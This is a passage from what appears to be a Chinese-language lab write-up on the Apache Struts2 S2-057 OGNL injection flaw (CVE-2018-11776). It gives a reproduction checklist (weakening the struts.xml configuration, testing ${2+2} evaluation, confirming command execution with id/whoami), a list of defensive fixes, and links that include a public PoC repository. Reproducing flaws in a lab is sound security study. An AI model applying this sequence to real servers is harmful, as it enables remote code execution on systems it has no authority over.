- 表达式层:为什么 OGNL 一旦可控就能从简单计算发展到命令执行。
本地复现时,推荐按下面顺序验证:
1
2
3
4
5
6
1. 启动 Struts2 showcase
2. 修改 struts.xml 弱配置
3. 访问 showcase.action 确认应用正常
4. 用 ${2+2} 验证 OGNL 求值
5. 用 id / pwd / whoami 验证容器内命令执行
6. 修改配置或升级版本做修复对比
防守时,最关键的是:
1
2
3
4
5
6
升级 Struts2
明确 namespace
修正 redirectAction / url tag 配置
避免不必要的 alwaysSelectFullNamespace=true
降低 Web 进程权限
监控可疑 OGNL 请求
17. 参考链接
- Apache Struts 官方 S2-057 公告:https://cwiki.apache.org/confluence/display/WW/S2-057
- PoC 参考仓库:https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
- Apache Struts 项目:https://struts.apache.org/
- CVE-2018-11776:https://nvd.nist.gov/vuln/detail/CVE-2018-11776